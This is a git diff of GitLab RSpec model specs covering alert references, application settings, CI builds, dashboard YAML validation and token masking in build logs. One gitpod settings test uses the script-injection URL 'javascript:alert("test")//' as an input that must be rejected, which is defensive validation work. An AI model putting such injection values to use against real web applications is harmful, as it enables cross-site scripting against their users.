+++ b/spec/models/alert_management/alert_spec.rb
@@ -332,35 +332,39 @@ RSpec.describe AlertManagement::Alert do
end
end
- describe '#details' do
- let(:payload) do
- {
- 'title' => 'Details title',
- 'custom' => {
- 'alert' => {
- 'fields' => %w[one two]
- }
- },
- 'yet' => {
- 'another' => 'field'
- }
- }
- end
-
- let(:alert) { build(:alert_management_alert, project: project, title: 'Details title', payload: payload) }
-
- subject { alert.details }
-
- it 'renders the payload as inline hash' do
- is_expected.to eq(
- 'custom.alert.fields' => %w[one two],
- 'yet.another' => 'field'
- )
+ describe '.reference_pattern' do
+ subject { described_class.reference_pattern }
+
+ it { is_expected.to match('gitlab-org/gitlab^alert#123') }
+ end
+
+ describe '.link_reference_pattern' do
+ subject { described_class.link_reference_pattern }
+
+ it { is_expected.to match(triggered_alert.details_url) }
+ it { is_expected.not_to match("#{Gitlab.config.gitlab.url}/gitlab-org/gitlab/alert_management/123") }
+ it { is_expected.not_to match("#{Gitlab.config.gitlab.url}/gitlab-org/gitlab/issues/123") }
+ it { is_expected.not_to match("gitlab-org/gitlab/-/alert_management/123") }
+ end
+
+ describe '.reference_valid?' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:ref, :result) do
+ '123456' | true
+ '1' | true
+ '-1' | false
+ nil | false
+ '123456891012345678901234567890' | false
+ end
+
+ with_them do
+ it { expect(described_class.reference_valid?(ref)).to eq(result) }
end
end
describe '#to_reference' do
- it { expect(triggered_alert.to_reference).to eq('') }
+ it { expect(triggered_alert.to_reference).to eq("^alert##{triggered_alert.iid}") }
end
describe '#trigger' do
@@ -449,22 +453,4 @@ RSpec.describe AlertManagement::Alert do
expect { subject }.to change { alert.events }.by(1)
end
end
-
- describe '#present' do
- context 'when alert is generic' do
- let(:alert) { triggered_alert }
-
- it 'uses generic alert presenter' do
- expect(alert.present).to be_kind_of(AlertManagement::AlertPresenter)
- end
- end
-
- context 'when alert is Prometheus specific' do
- let(:alert) { build(:alert_management_alert, :prometheus, project: project) }
-
- it 'uses Prometheus Alert presenter' do
- expect(alert.present).to be_kind_of(AlertManagement::PrometheusAlertPresenter)
- end
- end
- end
end
diff --git a/spec/models/analytics/instance_statistics/measurement_spec.rb b/spec/models/analytics/instance_statistics/measurement_spec.rb
new file mode 100644
index 00000000000..4df847ea524
--- /dev/null
+++ b/spec/models/analytics/instance_statistics/measurement_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Analytics::InstanceStatistics::Measurement, type: :model do
+ describe 'validation' do
+ let!(:measurement) { create(:instance_statistics_measurement) }
+
+ it { is_expected.to validate_presence_of(:recorded_at) }
+ it { is_expected.to validate_presence_of(:identifier) }
+ it { is_expected.to validate_presence_of(:count) }
+ it { is_expected.to validate_uniqueness_of(:recorded_at).scoped_to(:identifier) }
+ end
+
+ describe 'identifiers enum' do
+ it 'maps to the correct values' do
+ expect(described_class.identifiers).to eq({
+ projects: 1,
+ users: 2,
+ issues: 3,
+ merge_requests: 4,
+ groups: 5,
+ pipelines: 6
+ }.with_indifferent_access)
+ end
+ end
+
+ describe 'scopes' do
+ let_it_be(:measurement_1) { create(:instance_statistics_measurement, :project_count, recorded_at: 10.days.ago) }
+ let_it_be(:measurement_2) { create(:instance_statistics_measurement, :project_count, recorded_at: 2.days.ago) }
+ let_it_be(:measurement_3) { create(:instance_statistics_measurement, :group_count, recorded_at: 5.days.ago) }
+
+ describe '.order_by_latest' do
+ subject { described_class.order_by_latest }
+
+ it { is_expected.to eq([measurement_2, measurement_3, measurement_1]) }
+ end
+
+ describe '.with_identifier' do
+ subject { described_class.with_identifier(:projects) }
+
+ it { is_expected.to match_array([measurement_1, measurement_2]) }
+ end
+ end
+end
diff --git a/spec/models/application_record_spec.rb b/spec/models/application_record_spec.rb
index d9ab326505b..5ea1907543a 100644
--- a/spec/models/application_record_spec.rb
+++ b/spec/models/application_record_spec.rb
@@ -30,49 +30,51 @@ RSpec.describe ApplicationRecord do
end
end
- describe '.safe_find_or_create_by' do
- it 'creates the user avoiding race conditions' do
- expect(Suggestion).to receive(:find_or_create_by).and_raise(ActiveRecord::RecordNotUnique)
- allow(Suggestion).to receive(:find_or_create_by).and_call_original
+ context 'safe find or create methods' do
+ let_it_be(:note) { create(:diff_note_on_merge_request) }
- expect { Suggestion.safe_find_or_create_by(build(:suggestion).attributes) }
- .to change { Suggestion.count }.by(1)
- end
+ let(:suggestion_attributes) { attributes_for(:suggestion).merge!(note_id: note.id) }
- it 'passes a block to find_or_create_by' do
- attributes = build(:suggestion).attributes
+ describe '.safe_find_or_create_by' do
+ it 'creates the suggestion avoiding race conditions' do
+ expect(Suggestion).to receive(:find_or_create_by).and_raise(ActiveRecord::RecordNotUnique)
+ allow(Suggestion).to receive(:find_or_create_by).and_call_original
- expect do |block|
- Suggestion.safe_find_or_create_by(attributes, &block)
- end.to yield_with_args(an_object_having_attributes(attributes))
- end
+ expect { Suggestion.safe_find_or_create_by(suggestion_attributes) }
+ .to change { Suggestion.count }.by(1)
+ end
- it 'does not create a record when is not valid' do
- raw_usage_data = RawUsageData.safe_find_or_create_by({ recorded_at: nil })
+ it 'passes a block to find_or_create_by' do
+ expect do |block|
+ Suggestion.safe_find_or_create_by(suggestion_attributes, &block)
+ end.to yield_with_args(an_object_having_attributes(suggestion_attributes))
+ end
- expect(raw_usage_data.id).to be_nil
- expect(raw_usage_data).not_to be_valid
- end
- end
+ it 'does not create a record when is not valid' do
+ raw_usage_data = RawUsageData.safe_find_or_create_by({ recorded_at: nil })
- describe '.safe_find_or_create_by!' do
- it 'creates a record using safe_find_or_create_by' do
- expect(Suggestion).to receive(:find_or_create_by).and_call_original
-
- expect(Suggestion.safe_find_or_create_by!(build(:suggestion).attributes))
- .to be_a(Suggestion)
+ expect(raw_usage_data.id).to be_nil
+ expect(raw_usage_data).not_to be_valid
+ end
end
- it 'raises a validation error if the record was not persisted' do
- expect { Suggestion.find_or_create_by!(note: nil) }.to raise_error(ActiveRecord::RecordInvalid)
- end
+ describe '.safe_find_or_create_by!' do
+ it 'creates a record using safe_find_or_create_by' do
+ expect(Suggestion).to receive(:find_or_create_by).and_call_original
+
+ expect(Suggestion.safe_find_or_create_by!(suggestion_attributes))
+ .to be_a(Suggestion)
+ end
- it 'passes a block to find_or_create_by' do
- attributes = build(:suggestion).attributes
+ it 'raises a validation error if the record was not persisted' do
+ expect { Suggestion.find_or_create_by!(note: nil) }.to raise_error(ActiveRecord::RecordInvalid)
+ end
- expect do |block|
- Suggestion.safe_find_or_create_by!(attributes, &block)
- end.to yield_with_args(an_object_having_attributes(attributes))
+ it 'passes a block to find_or_create_by' do
+ expect do |block|
+ Suggestion.safe_find_or_create_by!(suggestion_attributes, &block)
+ end.to yield_with_args(an_object_having_attributes(suggestion_attributes))
+ end
end
end
diff --git a/spec/models/application_setting_spec.rb b/spec/models/application_setting_spec.rb
index ab25608e2f0..9f76fb3330d 100644
--- a/spec/models/application_setting_spec.rb
+++ b/spec/models/application_setting_spec.rb
@@ -71,6 +71,8 @@ RSpec.describe ApplicationSetting do
it { is_expected.not_to allow_value('three').for(:push_event_activities_limit) }
it { is_expected.not_to allow_value(nil).for(:push_event_activities_limit) }
+ it { is_expected.to validate_numericality_of(:container_registry_delete_tags_service_timeout).only_integer.is_greater_than_or_equal_to(0) }
+
it { is_expected.to validate_numericality_of(:snippet_size_limit).only_integer.is_greater_than(0) }
it { is_expected.to validate_numericality_of(:wiki_page_max_content_bytes).only_integer.is_greater_than_or_equal_to(1024) }
it { is_expected.to validate_presence_of(:max_artifacts_size) }
@@ -189,14 +191,10 @@ RSpec.describe ApplicationSetting do
it { is_expected.not_to allow_value(nil).for(:snowplow_collector_hostname) }
it { is_expected.to allow_value("snowplow.gitlab.com").for(:snowplow_collector_hostname) }
it { is_expected.not_to allow_value('/example').for(:snowplow_collector_hostname) }
- it { is_expected.to allow_value('https://example.org').for(:snowplow_iglu_registry_url) }
- it { is_expected.not_to allow_value('not-a-url').for(:snowplow_iglu_registry_url) }
- it { is_expected.to allow_value(nil).for(:snowplow_iglu_registry_url) }
end
context 'when snowplow is not enabled' do
it { is_expected.to allow_value(nil).for(:snowplow_collector_hostname) }
- it { is_expected.to allow_value(nil).for(:snowplow_iglu_registry_url) }
end
context "when user accepted let's encrypt terms of service" do
@@ -640,6 +638,29 @@ RSpec.describe ApplicationSetting do
is_expected.to be_invalid
end
end
+
+ context 'gitpod settings' do
+ it 'is invalid if gitpod is enabled and no url is provided' do
+ allow(subject).to receive(:gitpod_enabled).and_return(true)
+ allow(subject).to receive(:gitpod_url).and_return(nil)
+
+ is_expected.to be_invalid
+ end
+
+ it 'is invalid if gitpod is enabled and an empty url is provided' do
+ allow(subject).to receive(:gitpod_enabled).and_return(true)
+ allow(subject).to receive(:gitpod_url).and_return('')
+
+ is_expected.to be_invalid
+ end
+
+ it 'is invalid if gitpod is enabled and an invalid url is provided' do
+ allow(subject).to receive(:gitpod_enabled).and_return(true)
+ allow(subject).to receive(:gitpod_url).and_return('javascript:alert("test")//')
+
+ is_expected.to be_invalid
+ end
+ end
end
context 'restrict creating duplicates' do
diff --git a/spec/models/atlassian/identity_spec.rb b/spec/models/atlassian/identity_spec.rb
new file mode 100644
index 00000000000..a1dfe5b0e51
--- /dev/null
+++ b/spec/models/atlassian/identity_spec.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Atlassian::Identity do
+ describe 'associations' do
+ it { is_expected.to belong_to(:user) }
+ end
+
+ describe 'validations' do
+ subject { create(:atlassian_identity) }
+
+ it { is_expected.to validate_presence_of(:extern_uid) }
+ it { is_expected.to validate_uniqueness_of(:extern_uid) }
+ it { is_expected.to validate_presence_of(:user) }
+ it { is_expected.to validate_uniqueness_of(:user) }
+ end
+
+ describe 'encrypted tokens' do
+ let(:token) { SecureRandom.alphanumeric(1254) }
+ let(:refresh_token) { SecureRandom.alphanumeric(45) }
+ let(:identity) { create(:atlassian_identity, token: token, refresh_token: refresh_token) }
+
+ it 'saves the encrypted token, refresh token and corresponding ivs' do
+ expect(identity.encrypted_token).not_to be_nil
+ expect(identity.encrypted_token_iv).not_to be_nil
+ expect(identity.encrypted_refresh_token).not_to be_nil
+ expect(identity.encrypted_refresh_token_iv).not_to be_nil
+
+ expect(identity.token).to eq(token)
+ expect(identity.refresh_token).to eq(refresh_token)
+ end
+ end
+end
diff --git a/spec/models/audit_event_partitioned_spec.rb b/spec/models/audit_event_partitioned_spec.rb
index fe69f0083b7..ab48e291f78 100644
--- a/spec/models/audit_event_partitioned_spec.rb
+++ b/spec/models/audit_event_partitioned_spec.rb
@@ -7,7 +7,10 @@ RSpec.describe AuditEventPartitioned do
let(:partitioned_table) { described_class }
it 'has the same columns as the source table' do
- expect(partitioned_table.column_names).to match_array(source_table.column_names)
+ column_names_from_source_table = column_names(source_table)
+ column_names_from_partioned_table = column_names(partitioned_table)
+
+ expect(column_names_from_partioned_table).to match_array(column_names_from_source_table)
end
it 'has the same null constraints as the source table' do
@@ -30,6 +33,14 @@ RSpec.describe AuditEventPartitioned do
expect(event_from_partitioned_table).to eq(event_from_source_table)
end
+ def column_names(table)
+ table.connection.select_all(<<~SQL)
+ SELECT c.column_name
+ FROM information_schema.columns c
+ WHERE c.table_name = '#{table.table_name}'
+ SQL
+ end
+
def null_constraints(table)
table.connection.select_all(<<~SQL)
SELECT c.column_name, c.is_nullable
diff --git a/spec/models/authentication_event_spec.rb b/spec/models/authentication_event_spec.rb
new file mode 100644
index 00000000000..56b0111f2c7
--- /dev/null
+++ b/spec/models/authentication_event_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe AuthenticationEvent do
+ describe 'associations' do
+ it { is_expected.to belong_to(:user).optional }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:provider) }
+ it { is_expected.to validate_presence_of(:user_name) }
+ it { is_expected.to validate_presence_of(:result) }
+ end
+end
diff --git a/spec/models/badges/project_badge_spec.rb b/spec/models/badges/project_badge_spec.rb
index 9b9836129a6..78bfd4e18c0 100644
--- a/spec/models/badges/project_badge_spec.rb
+++ b/spec/models/badges/project_badge_spec.rb
@@ -27,8 +27,8 @@ RSpec.describe ProjectBadge do
end
context 'methods' do
- let(:badge) { build(:project_badge, link_url: placeholder_url, image_url: placeholder_url) }
- let!(:project) { badge.project }
+ let(:badge) { build_stubbed(:project_badge, link_url: placeholder_url, image_url: placeholder_url) }
+ let(:project) { badge.project }
describe '#rendered_link_url' do
let(:method) { :link_url }
diff --git a/spec/models/blob_viewer/metrics_dashboard_yml_spec.rb b/spec/models/blob_viewer/metrics_dashboard_yml_spec.rb
index 057f0f32158..84dfc5186a8 100644
--- a/spec/models/blob_viewer/metrics_dashboard_yml_spec.rb
+++ b/spec/models/blob_viewer/metrics_dashboard_yml_spec.rb
@@ -9,119 +9,228 @@ RSpec.describe BlobViewer::MetricsDashboardYml do
let_it_be(:project) { create(:project, :repository) }
let(:blob) { fake_blob(path: '.gitlab/dashboards/custom-dashboard.yml', data: data) }
let(:sha) { sample_commit.id }
+ let(:data) { fixture_file('lib/gitlab/metrics/dashboard/sample_dashboard.yml') }
subject(:viewer) { described_class.new(blob) }
- context 'when the definition is valid' do
- let(:data) { File.read(Rails.root.join('config/prometheus/common_metrics.yml')) }
+ context 'with metrics_dashboard_exhaustive_validations feature flag on' do
+ before do
+ stub_feature_flags(metrics_dashboard_exhaustive_validations: true)
+ end
+
+ context 'when the definition is valid' do
+ before do
+ allow(Gitlab::Metrics::Dashboard::Validator).to receive(:errors).and_return([])
+ end
+
+ describe '#valid?' do
+ it 'calls prepare! on the viewer' do
+ expect(viewer).to receive(:prepare!)
+
+ viewer.valid?
+ end
+
+ it 'processes dashboard yaml and returns true', :aggregate_failures do
+ yml = ::Gitlab::Config::Loader::Yaml.new(data).load_raw!
+
+ expect_next_instance_of(::Gitlab::Config::Loader::Yaml, data) do |loader|
+ expect(loader).to receive(:load_raw!).and_call_original
+ end
+ expect(Gitlab::Metrics::Dashboard::Validator)
+ .to receive(:errors)
+ .with(yml, dashboard_path: '.gitlab/dashboards/custom-dashboard.yml', project: project)
+ .and_call_original
+ expect(viewer.valid?).to be true
+ end
+ end
+
+ describe '#errors' do
+ it 'returns empty array' do
+ expect(viewer.errors).to eq []
+ end
+ end
+ end
+
+ context 'when definition is invalid' do
+ let(:error) { ::Gitlab::Metrics::Dashboard::Validator::Errors::SchemaValidationError.new }
+ let(:data) do
+ <<~YAML
+ dashboard:
+ YAML
+ end
+
+ before do
+ allow(Gitlab::Metrics::Dashboard::Validator).to receive(:errors).and_return([error])
+ end
- describe '#valid?' do
- it 'calls prepare! on the viewer' do
- allow(PerformanceMonitoring::PrometheusDashboard).to receive(:from_json)
+ describe '#valid?' do
+ it 'returns false' do
+ expect(viewer.valid?).to be false
+ end
+ end
- expect(viewer).to receive(:prepare!)
+ describe '#errors' do
+ it 'returns validation errors' do
+ expect(viewer.errors).to eq ["Dashboard failed schema validation"]
+ end
+ end
+ end
- viewer.valid?
+ context 'when YAML syntax is invalid' do
+ let(:data) do
+ <<~YAML
+ dashboard: 'empty metrics'
+ panel_groups:
+ - group: 'Group Title'
+ YAML
end
- it 'returns true', :aggregate_failures do
- yml = ::Gitlab::Config::Loader::Yaml.new(data).load_raw!
+ describe '#valid?' do
+ it 'returns false' do
+ expect(Gitlab::Metrics::Dashboard::Validator).not_to receive(:errors)
+ expect(viewer.valid?).to be false
+ end
+ end
- expect_next_instance_of(::Gitlab::Config::Loader::Yaml, data) do |loader|
- expect(loader).to receive(:load_raw!).and_call_original
+ describe '#errors' do
+ it 'returns validation errors' do
+ expect(viewer.errors).to all be_kind_of String
end
- expect(PerformanceMonitoring::PrometheusDashboard)
- .to receive(:from_json)
- .with(yml)
- .and_call_original
- expect(viewer.valid?).to be_truthy
end
end
- describe '#errors' do
- it 'returns nil' do
- allow(PerformanceMonitoring::PrometheusDashboard).to receive(:from_json)
+ context 'when YAML loader raises error' do
+ let(:data) do
+ <<~YAML
+ large yaml file
+ YAML
+ end
+
+ before do
+ allow(::Gitlab::Config::Loader::Yaml).to receive(:new)
+ .and_raise(::Gitlab::Config::Loader::Yaml::DataTooLargeError, 'The parsed YAML is too big')
+ end
- expect(viewer.errors).to be nil
+ it 'is invalid' do
+ expect(Gitlab::Metrics::Dashboard::Validator).not_to receive(:errors)
+ expect(viewer.valid?).to be false
+ end
+
+ it 'returns validation errors' do
+ expect(viewer.errors).to eq ['The parsed YAML is too big']
end
end
end
- context 'when definition is invalid' do
- let(:error) { ActiveModel::ValidationError.new(PerformanceMonitoring::PrometheusDashboard.new.tap(&:validate)) }
- let(:data) do
- <<~YAML
- dashboard:
- YAML
+ context 'with metrics_dashboard_exhaustive_validations feature flag off' do
+ before do
+ stub_feature_flags(metrics_dashboard_exhaustive_validations: false)
end
- describe '#valid?' do
- it 'returns false' do
- expect(PerformanceMonitoring::PrometheusDashboard)
- .to receive(:from_json).and_raise(error)
+ context 'when the definition is valid' do
+ describe '#valid?' do
+ before do
+ allow(PerformanceMonitoring::PrometheusDashboard).to receive(:from_json)
+ end
+
+ it 'calls prepare! on the viewer' do
+ expect(viewer).to receive(:prepare!)
- expect(viewer.valid?).to be_falsey
+ viewer.valid?
+ end
+
+ it 'processes dashboard yaml and returns true', :aggregate_failures do
+ yml = ::Gitlab::Config::Loader::Yaml.new(data).load_raw!
+
+ expect_next_instance_of(::Gitlab::Config::Loader::Yaml, data) do |loader|
+ expect(loader).to receive(:load_raw!).and_call_original
+ end
+ expect(PerformanceMonitoring::PrometheusDashboard)
+ .to receive(:from_json)
+ .with(yml)
+ .and_call_original
+ expect(viewer.valid?).to be true
+ end
+ end
+
+ describe '#errors' do
+ it 'returns empty array' do
+ expect(viewer.errors).to eq []
+ end
end
end
- describe '#errors' do
- it 'returns validation errors' do
- allow(PerformanceMonitoring::PrometheusDashboard)
- .to receive(:from_json).and_raise(error)
+ context 'when definition is invalid' do
+ let(:error) { ActiveModel::ValidationError.new(PerformanceMonitoring::PrometheusDashboard.new.tap(&:validate)) }
+ let(:data) do
+ <<~YAML
+ dashboard:
+ YAML
+ end
+
+ describe '#valid?' do
+ it 'returns false' do
+ expect(PerformanceMonitoring::PrometheusDashboard)
+ .to receive(:from_json).and_raise(error)
- expect(viewer.errors).to be error.model.errors
+ expect(viewer.valid?).to be false
+ end
+ end
+
+ describe '#errors' do
+ it 'returns validation errors' do
+ allow(PerformanceMonitoring::PrometheusDashboard)
+ .to receive(:from_json).and_raise(error)
+
+ expect(viewer.errors).to eq error.model.errors.messages.map { |messages| messages.join(': ') }
+ end
end
end
- end
- context 'when YAML syntax is invalid' do
- let(:data) do
- <<~YAML
+ context 'when YAML syntax is invalid' do
+ let(:data) do
+ <<~YAML
dashboard: 'empty metrics'
panel_groups:
- group: 'Group Title'
- YAML
- end
-
- describe '#valid?' do
- it 'returns false' do
- expect(PerformanceMonitoring::PrometheusDashboard).not_to receive(:from_json)
- expect(viewer.valid?).to be_falsey
+ YAML
end
- end
- describe '#errors' do
- it 'returns validation errors' do
- yaml_wrapped_errors = { 'YAML syntax': ["(<unknown>): did not find expected key while parsing a block mapping at line 1 column 1"] }
+ describe '#valid?' do
+ it 'returns false' do
+ expect(PerformanceMonitoring::PrometheusDashboard).not_to receive(:from_json)
+ expect(viewer.valid?).to be false
+ end
+ end
- expect(viewer.errors).to be_kind_of ActiveModel::Errors
- expect(viewer.errors.messages).to eql(yaml_wrapped_errors)
+ describe '#errors' do
+ it 'returns validation errors' do
+ expect(viewer.errors).to eq ["YAML syntax: (<unknown>): did not find expected key while parsing a block mapping at line 1 column 1"]
+ end
end
end
- end
- context 'when YAML loader raises error' do
- let(:data) do
- <<~YAML
+ context 'when YAML loader raises error' do
+ let(:data) do
+ <<~YAML
large yaml file
- YAML
- end
-
- before do
- allow(::Gitlab::Config::Loader::Yaml).to receive(:new)
- .and_raise(::Gitlab::Config::Loader::Yaml::DataTooLargeError, 'The parsed YAML is too big')
- end
+ YAML
+ end
- it 'is invalid' do
- expect(PerformanceMonitoring::PrometheusDashboard).not_to receive(:from_json)
- expect(viewer.valid?).to be(false)
- end
+ before do
+ allow(::Gitlab::Config::Loader::Yaml).to(
+ receive(:new).and_raise(::Gitlab::Config::Loader::Yaml::DataTooLargeError, 'The parsed YAML is too big')
+ )
+ end
- it 'returns validation errors' do
- yaml_wrapped_errors = { 'YAML syntax': ["The parsed YAML is too big"] }
+ it 'is invalid' do
+ expect(PerformanceMonitoring::PrometheusDashboard).not_to receive(:from_json)
+ expect(viewer.valid?).to be false
+ end
- expect(viewer.errors).to be_kind_of(ActiveModel::Errors)
- expect(viewer.errors.messages).to eq(yaml_wrapped_errors)
+ it 'returns validation errors' do
+ expect(viewer.errors).to eq ["YAML syntax: The parsed YAML is too big"]
+ end
end
end
end
diff --git a/spec/models/board_group_recent_visit_spec.rb b/spec/models/board_group_recent_visit_spec.rb
index 4d16e1ff839..c6fbd263072 100644
--- a/spec/models/board_group_recent_visit_spec.rb
+++ b/spec/models/board_group_recent_visit_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe BoardGroupRecentVisit do
let!(:visit) { create :board_group_recent_visit, group: board.group, board: board, user: user, updated_at: 7.days.ago }
it 'updates the timestamp' do
- Timecop.freeze do
+ freeze_time do
described_class.visited!(user, board)
expect(described_class.count).to eq 1
diff --git a/spec/models/board_project_recent_visit_spec.rb b/spec/models/board_project_recent_visit_spec.rb
index 8e74405fd8c..145a4f5b1a7 100644
--- a/spec/models/board_project_recent_visit_spec.rb
+++ b/spec/models/board_project_recent_visit_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe BoardProjectRecentVisit do
let!(:visit) { create :board_project_recent_visit, project: board.project, board: board, user: user, updated_at: 7.days.ago }
it 'updates the timestamp' do
- Timecop.freeze do
+ freeze_time do
described_class.visited!(user, board)
expect(described_class.count).to eq 1
diff --git a/spec/models/ci/bridge_spec.rb b/spec/models/ci/bridge_spec.rb
index 3a459e5897a..850fc1ec6e6 100644
--- a/spec/models/ci/bridge_spec.rb
+++ b/spec/models/ci/bridge_spec.rb
@@ -50,6 +50,7 @@ RSpec.describe Ci::Bridge do
CI_PROJECT_PATH_SLUG CI_PROJECT_NAMESPACE CI_PROJECT_ROOT_NAMESPACE
CI_PIPELINE_IID CI_CONFIG_PATH CI_PIPELINE_SOURCE CI_COMMIT_MESSAGE
CI_COMMIT_TITLE CI_COMMIT_DESCRIPTION CI_COMMIT_REF_PROTECTED
+ CI_COMMIT_TIMESTAMP
]
expect(bridge.scoped_variables_hash.keys).to include(*variables)
diff --git a/spec/models/ci/build_metadata_spec.rb b/spec/models/ci/build_metadata_spec.rb
index e4d71632957..069864fa765 100644
--- a/spec/models/ci/build_metadata_spec.rb
+++ b/spec/models/ci/build_metadata_spec.rb
@@ -73,7 +73,7 @@ RSpec.describe Ci::BuildMetadata do
context 'when both runner and job timeouts are set' do
before do
- build.update(runner: runner)
+ build.update!(runner: runner)
end
context 'when job timeout is higher than runner timeout' do
diff --git a/spec/models/ci/build_spec.rb b/spec/models/ci/build_spec.rb
index 069ac23c5a4..1e551d9ee33 100644
--- a/spec/models/ci/build_spec.rb
+++ b/spec/models/ci/build_spec.rb
@@ -25,6 +25,7 @@ RSpec.describe Ci::Build do
it { is_expected.to have_many(:sourced_pipelines) }
it { is_expected.to have_many(:job_variables) }
it { is_expected.to have_many(:report_results) }
+ it { is_expected.to have_many(:pages_deployments) }
it { is_expected.to have_one(:deployment) }
it { is_expected.to have_one(:runner_session) }
@@ -448,7 +449,7 @@ RSpec.describe Ci::Build do
end
it 'schedules BuildScheduleWorker at the right time' do
- Timecop.freeze do
+ freeze_time do
expect(Ci::BuildScheduleWorker)
.to receive(:perform_at).with(be_like_time(1.minute.since), build.id)
@@ -496,7 +497,7 @@ RSpec.describe Ci::Build do
let(:option) { { start_in: '1 day' } }
it 'returns date after 1 day' do
- Timecop.freeze do
+ freeze_time do
is_expected.to eq(1.day.since)
end
end
@@ -506,7 +507,7 @@ RSpec.describe Ci::Build do
let(:option) { { start_in: '1 week' } }
it 'returns date after 1 week' do
- Timecop.freeze do
+ freeze_time do
is_expected.to eq(1.week.since)
end
end
@@ -566,18 +567,18 @@ RSpec.describe Ci::Build do
let(:runner) { create(:ci_runner, :project, projects: [build.project]) }
before do
- runner.update(contacted_at: 1.second.ago)
+ runner.update!(contacted_at: 1.second.ago)
end
it { is_expected.to be_truthy }
it 'that is inactive' do
- runner.update(active: false)
+ runner.update!(active: false)
is_expected.to be_falsey
end
it 'that is not online' do
- runner.update(contacted_at: nil)
+ runner.update!(contacted_at: nil)
is_expected.to be_falsey
end
@@ -612,6 +613,46 @@ RSpec.describe Ci::Build do
end
end
+ describe '#locked_artifacts?' do
+ subject(:locked_artifacts) { build.locked_artifacts? }
+
+ context 'when pipeline is artifacts_locked' do
+ before do
+ build.pipeline.artifacts_locked!
+ end
+
+ context 'artifacts archive does not exist' do
+ let(:build) { create(:ci_build) }
+
+ it { is_expected.to be_falsy }
+ end
+
+ context 'artifacts archive exists' do
+ let(:build) { create(:ci_build, :artifacts) }
+
+ it { is_expected.to be_truthy }
+ end
+ end
+
+ context 'when pipeline is unlocked' do
+ before do
+ build.pipeline.unlocked!
+ end
+
+ context 'artifacts archive does not exist' do
+ let(:build) { create(:ci_build) }
+
+ it { is_expected.to be_falsy }
+ end
+
+ context 'artifacts archive exists' do
+ let(:build) { create(:ci_build, :artifacts) }
+
+ it { is_expected.to be_falsy }
+ end
+ end
+ end
+
describe '#available_artifacts?' do
let(:build) { create(:ci_build) }
@@ -683,7 +724,7 @@ RSpec.describe Ci::Build do
context 'is expired' do
before do
- build.update(artifacts_expire_at: Time.current - 7.days)
+ build.update!(artifacts_expire_at: Time.current - 7.days)
end
it { is_expected.to be_truthy }
@@ -691,7 +732,7 @@ RSpec.describe Ci::Build do
context 'is not expired' do
before do
- build.update(artifacts_expire_at: Time.current + 7.days)
+ build.update!(artifacts_expire_at: Time.current + 7.days)
end
it { is_expected.to be_falsey }
@@ -1012,18 +1053,53 @@ RSpec.describe Ci::Build do
end
describe '#hide_secrets' do
+ let(:metrics) { spy('metrics') }
let(:subject) { build.hide_secrets(data) }
context 'hide runners token' do
let(:data) { "new #{project.runners_token} data"}
it { is_expected.to match(/^new x+ data$/) }
+
+ it 'increments trace mutation metric' do
+ build.hide_secrets(data, metrics)
+
+ expect(metrics)
+ .to have_received(:increment_trace_operation)
+ .with(operation: :mutated)
+ end
end
context 'hide build token' do
let(:data) { "new #{build.token} data"}
it { is_expected.to match(/^new x+ data$/) }
+
+ it 'increments trace mutation metric' do
+ build.hide_secrets(data, metrics)
+
+ expect(metrics)
+ .to have_received(:increment_trace_operation)
+ .with(operation: :mutated)
+ end
+ end
+
+ context 'when build does not include secrets' do
+ let(:data) { 'my build log' }
+
+ it 'does not mutate trace' do
+ trace = build.hide_secrets(data)
+
+ expect(trace).to eq data
+ end
+
+ it 'does not increment trace mutation metric' do
+ build.hide_secrets(data, metrics)
+
+ expect(metrics)
+ .not_to have_received(:increment_trace_operation)
+ .with(operation: :mutated)
+ end
end
end
@@ -1200,7 +1276,7 @@ RSpec.describe Ci::Build do
context 'when environment is defined' do
before do
- build.update(environment: 'review')
+ build.update!(environment: 'review')
end
it { is_expected.to be_truthy }
@@ -1208,7 +1284,7 @@ RSpec.describe Ci::Build do
context 'when environment is not defined' do
before do
- build.update(environment: nil)
+ build.update!(environment: nil)
end
it { is_expected.to be_falsey }
@@ -1316,7 +1392,7 @@ RSpec.describe Ci::Build do
context 'when environment is defined' do
before do
- build.update(environment: 'review')
+ build.update!(environment: 'review')
end
context 'no action is defined' do
@@ -1325,7 +1401,7 @@ RSpec.describe Ci::Build do
context 'and start action is defined' do
before do
- build.update(options: { environment: { action: 'start' } } )
+ build.update!(options: { environment: { action: 'start' } } )
end
it { is_expected.to be_truthy }
@@ -1334,7 +1410,7 @@ RSpec.describe Ci::Build do
context 'when environment is not defined' do
before do
- build.update(environment: nil)
+ build.update!(environment: nil)
end
it { is_expected.to be_falsey }
@@ -1346,7 +1422,7 @@ RSpec.describe Ci::Build do
context 'when environment is defined' do
before do
- build.update(environment: 'review')
+ build.update!(environment: 'review')
end
context 'no action is defined' do
@@ -1355,7 +1431,7 @@ RSpec.describe Ci::Build do
context 'and stop action is defined' do
before do
- build.update(options: { environment: { action: 'stop' } } )
+ build.update!(options: { environment: { action: 'stop' } } )
end
it { is_expected.to be_truthy }
@@ -1364,7 +1440,7 @@ RSpec.describe Ci::Build do
context 'when environment is not defined' do
before do
- build.update(environment: nil)
+ build.update!(environment: nil)
end
it { is_expected.to be_falsey }
@@ -1687,7 +1763,7 @@ RSpec.describe Ci::Build do
describe '#action?' do
before do
- build.update(when: value)
+ build.update!(when: value)
end
subject { build.action? }
@@ -2232,7 +2308,7 @@ RSpec.describe Ci::Build do
describe '#has_expiring_archive_artifacts?' do
context 'when artifacts have expiration date set' do
before do
- build.update(artifacts_expire_at: 1.day.from_now)
+ build.update!(artifacts_expire_at: 1.day.from_now)
end
context 'and job artifacts archive record exists' do
@@ -2252,7 +2328,7 @@ RSpec.describe Ci::Build do
context 'when artifacts do not have expiration date set' do
before do
- build.update(artifacts_expire_at: nil)
+ build.update!(artifacts_expire_at: nil)
end
it 'does not have expiring artifacts' do
@@ -2329,6 +2405,7 @@ RSpec.describe Ci::Build do
{ key: 'CI_COMMIT_TITLE', value: pipeline.git_commit_title, public: true, masked: false },
{ key: 'CI_COMMIT_DESCRIPTION', value: pipeline.git_commit_description, public: true, masked: false },
